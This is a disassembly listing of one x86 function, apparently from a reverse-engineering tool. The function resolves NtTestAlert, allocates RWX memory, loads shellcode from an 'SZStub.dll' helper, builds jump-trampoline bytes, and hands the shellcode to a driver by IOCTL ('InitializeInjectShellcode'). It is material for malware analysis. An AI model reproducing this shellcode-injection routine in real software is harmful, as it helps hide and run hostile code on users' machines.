Function at 0x10003af0
Capabilities:
Allocate or change rwx memory
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x898
mov eax, dword [0x10017dd8]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x44c], 0
mov dword [ebp - 0x65c], 0
mov byte [ebp - 0x228], 0x48
mov byte [ebp - 0x227], 0xb8
mov byte [ebp - 0x226], 0
mov byte [ebp - 0x225], 0
mov byte [ebp - 0x224], 0x70
mov byte [ebp - 0x223], 0x71
mov byte [ebp - 0x222], 0
mov byte [ebp - 0x221], 0
mov byte [ebp - 0x220], 0
mov byte [ebp - 0x21f], 0
mov byte [ebp - 0x21e], 0xff
mov byte [ebp - 0x21d], pe_nt_image_headers32
mov byte [ebp - 0x444], 0xb8
mov byte [ebp - 0x443], 0
mov byte [ebp - 0x442], 0
mov byte [ebp - 0x441], 0x70
mov byte [ebp - 0x440], 0x71
mov byte [ebp - 0x43f], 0xff
mov byte [ebp - 0x43e], pe_nt_image_headers32
mov byte [ebp - 0x43d], 0
mov byte [ebp - 0x43c], 0
mov byte [ebp - 0x43b], 0
mov byte [ebp - 0x43a], 0
mov byte [ebp - 0x439], 0
mov byte [ebp - 0x10], 0xb8
mov byte [ebp - 0xf], 0
mov byte [ebp - 0xe], 0
mov byte [ebp - 0xd], 0x70
mov byte [ebp - 0xc], 0x71
mov byte [ebp - 0xb], 0xff
mov byte [ebp - 0xa], pe_nt_image_headers32
mov byte [ebp - 9], 0
mov byte [ebp - 8], 0
mov byte [ebp - 7], 0
mov byte [ebp - 6], 0
mov byte [ebp - 5], 0
mov byte [ebp - 0x684], 0xee
mov byte [ebp - 0x683], 0xee
mov byte [ebp - 0x682], 0xee
mov byte [ebp - 0x681], 0xee
mov byte [ebp - 0x680], 0xdd
mov byte [ebp - 0x67f], 0xdd
mov byte [ebp - 0x67e], 0xdd
mov byte [ebp - 0x67d], 0xdd
mov byte [ebp - 0x67c], 0xbb
mov byte [ebp - 0x67b], 0xbb
mov byte [ebp - 0x67a], 0xbb
mov byte [ebp - 0x679], 0xbb
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x44c], eax
cmp dword [ebp - 0x44c], 0
jne 0x10003c62
jmp 0x10003e19
push str.NtTestAlert
mov eax, dword [ebp - 0x44c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x448], eax
cmp dword [ebp - 0x448], 0
jne 0x10003c88
jmp 0x10003e19
push 0
lea ecx, [ebp - 0x21c]
push ecx
call sym.SZStub.dll__GetShellcodeLen_8
push 0x40
push 0x3000
mov edx, dword [ebp - 0x21c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x65c], eax
cmp dword [ebp - 0x65c], 0
jne 0x10003cc0
jmp 0x10003e19
mov eax, dword [ebp - 0x21c]
push eax
mov ecx, dword [ebp - 0x65c]
push ecx
call sym.SZStub.dll__InitializeShellCodeData_8
test eax, eax
je 0x10003e06
mov edx, dword [ebp - 0x65c]
mov eax, dword [edx + 2]
mov dword [ebp - 0x898], eax
mov ecx, dword [ebp - 0x898]
mov edx, dword [ebp - 0x65c]
lea eax, [edx + ecx - 0x70]
mov dword [ebp - 0x894], eax
push 0x1c
lea ecx, [ebp - 0x678]
push ecx
mov edx, dword [ebp - 0x448]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0
jne 0x10003d2a
jmp 0x10003e19
mov eax, dword [ebp - 0x678]
mov dword [0x10019b6c], eax
mov ecx, dword [ebp - 0x65c]
mov dword [0x10019b60], ecx
mov edx, dword [ebp - 0x21c]
mov dword [0x10019b64], edx
mov eax, dword [ebp - 0x448]
mov dword [0x10019b68], eax
mov dword [0x10019b78], 0xc
mov dword [0x10019b70], 0x71700000
mov dword [0x10019b74], 0x7e550000
mov ecx, dword [0x10019b78]
push ecx
lea edx, [ebp - 0x444]
push edx
push 0x10019b80
call fcn.10006920
add esp, 0xc
mov eax, dword [0x10019b78]
push eax
lea ecx, [ebp - 0x228]
push ecx
push 0x10019b8c
call fcn.10006920
add esp, 0xc
mov edx, dword [0x10019b78]
push edx
mov eax, dword [0x10019b68]
push eax
push 0x10019b98
call fcn.10006920
add esp, 0xc
push 0
lea ecx, [ebp - 0x230]
push ecx
push 0
push 0
push 0x44
push 0x10019b60
push 0x112000fc
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x10003df9
push str.InitializeInjectShellcode_IOCTL_SGMODULE_SET_SHELL_CODE
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
jmp 0x10003e04
push 0x10017498
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
jmp 0x10003e11
push 0x10017510
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
xor eax, eax
jne 0x10003c43
cmp dword [ebp - 0x44c], 0
je 0x10003e2f
mov ecx, dword [ebp - 0x44c]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [ebp - 0x65c], 0
je 0x10003e4c
push 0x8000
push 0
mov edx, dword [ebp - 0x65c]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100064f8
mov esp, ebp
pop ebp
ret 4